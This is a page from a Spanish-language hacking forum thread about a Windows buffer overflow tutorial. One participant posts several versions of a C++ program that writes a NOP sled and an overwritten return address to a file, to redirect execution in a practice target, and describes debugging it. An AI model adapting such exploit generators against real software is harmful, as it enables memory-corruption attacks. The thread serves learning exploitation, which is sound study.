elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  [Manual] Buffer Overflow en Windows
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 2 3 4 [5] Ir Abajo Respuesta Imprimir
Autor Tema: [Manual] Buffer Overflow en Windows  (Leído 43,808 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #40 en: 20 Febrero 2011, 15:55 pm »

Hola Ikary! Creía que eras uno de los tantos usuarios que se merecen ser colaboradores que un día desaparecen y no vuelven a aparecer xD!

Hace ya tiempo encontré tu manual en Google, y creo que con decirte que gracias a tu manual aprendí a hacer buffers overflow basta para que entiendas que tu manual me ha servido muchísimo, lo califico de diez y dentro de todos los que he leído (incluyendo libros) tu manual se sitúa cómodamente en el segundo o tercer puesto. De ti he aprendido las bases de mis conocimientos sobre BoF, me has ayudado muchísimo, especialmente sobre la idea de FuncionOculta () a la que echaré mano en el taller de exploiting xD

PD: Si necesitas algo para la segunda entrega... xD
¡Un saludo y te espero ver mucho en el foro, compañero!
Sagrini
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
killr00t

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #41 en: 22 Abril 2011, 21:36 pm »

Yo tengo una duda y es la siguiente cuando sobre escribo el retorno por lo que yo quiero que se ejecute, biens ea una funcion del mismo programa o una shellcode pues me redirecciona bien y me muestra lo que quiero el problema es que despues de ejecutarlo se queda mostrando la pantalla de enviar errores y en el manual de ikary pues al final dice que sera para el siguiente manual la solucion de este problema, ya esta por hay? o alguna idea como solucionarlo?

salud2
En línea

Acermax

Desconectado Desconectado

Mensajes: 55


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #42 en: 28 Abril 2011, 00:27 am »

Estoy teniendo problemas a la hora de decidir la dirección de memoria sobreescrita, a ver si me podeis echar una mano.

Mi idea es que el EIP apunte a la dirección 00 40 16 3C, asi que hago esto en mi programa.

char ret[] = "\x3c\x16\x40\x00";

también le pongo los respectivos NOPS delante. Parece que el tema va bien, pero a la hora de ejecutar el programa a hacerle el overflow, me sigue saltando el error, y me dice que el EIP en el momento del error es  FF 40 16 3C, es decir, los 00 me los convierte en FF y obviamente me da un error de acceso a memoria. Sabeis por que puede ser esto?

Pongo el codigo completo del exploit...

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    char ret[] = "\x3c\x16\x40\x00";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    getchar();
    return 0;
}

Y aquí el error, en el que se ve claramente lo que explico más arriba.

« Última modificación: 28 Abril 2011, 00:59 am por Acermax » En línea

mordiskos

Desconectado Desconectado

Mensajes: 242



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #43 en: 29 Abril 2011, 01:21 am »

Muchisimas gracias por este excelente manual. Se agradece ver material de esta calidad!!
En línea

Acermax

Desconectado Desconectado

Mensajes: 55


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #44 en: 30 Abril 2011, 00:35 am »

Bueno, tras estar depurándolo con el Ollydbg un buen rato, dí con la solución, aunque no sé si será lo mas agradable a la vista... Cambié el modo de escribir la dirección en el archivo creando una nueva variable de tipo 'char' en la que guardo la dirección 0x00, y posteriormente escribiéndola en el fichero.
Así quedaría el código del programa del exploit, por si alguien se encuentra con el mismo problema y le puede resultar útil.
Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    unsigned char nose = 0x00;
    char ret[] = "\x34\x16\x40";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret << nose;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}

Un saludo.

Edito: Bueno, como no me gustaba mucho a la vista como había quedado, hice el código un poco más limpio a la vista utilizando un vector STL, y también funcional, espero que le sirva a alguien que esté siguiendo este tutorial o se esté inicuando en C++

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>

#define NOPS_MAX 316
using namespace std;

int main(){
    vector <unsigned char> nops(NOPS_MAX,0x90); //Creamos el vector de nops con
    // el numero de instrucciones NOP necesarias para el exploit, y la rellenamos
    // de NOP
   
    vector <unsigned char> ret(4);
    ret[0]=0x34; ret[1]=0x16; ret[2]=0x40; ret[3]=0x00;
    //Creamos el otro vector con el la direccion de memoria necesaria
       

    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
   
    for (int i=0;i<nops.size();i++)
        f << nops[i];
       
    for (int i=0;i<ret.size();i++)
        f << ret[i];
    //f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}

« Última modificación: 30 Abril 2011, 00:49 am por Acermax » En línea

mordiskos

Desconectado Desconectado

Mensajes: 242



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #45 en: 3 Mayo 2011, 14:51 pm »

:huh: :huh:

Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254

Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos  :silbar:

Un saludo

Como ya te dije, lo espero con ansias corrosivas...
DATE PRISA!!!!
XD

Saludos y gracias por tus aportes

JAJAJA, con ansias corrosivas!

Yo tambien lo espero pronto.

GRACIAS otra vez por tu trabajo!
En línea

Páginas: 1 2 3 4 [5] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
buffer overflow
Ingeniería Inversa
Meg 2 6,058 Último mensaje 6 Febrero 2009, 11:20 am
por Shaddy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines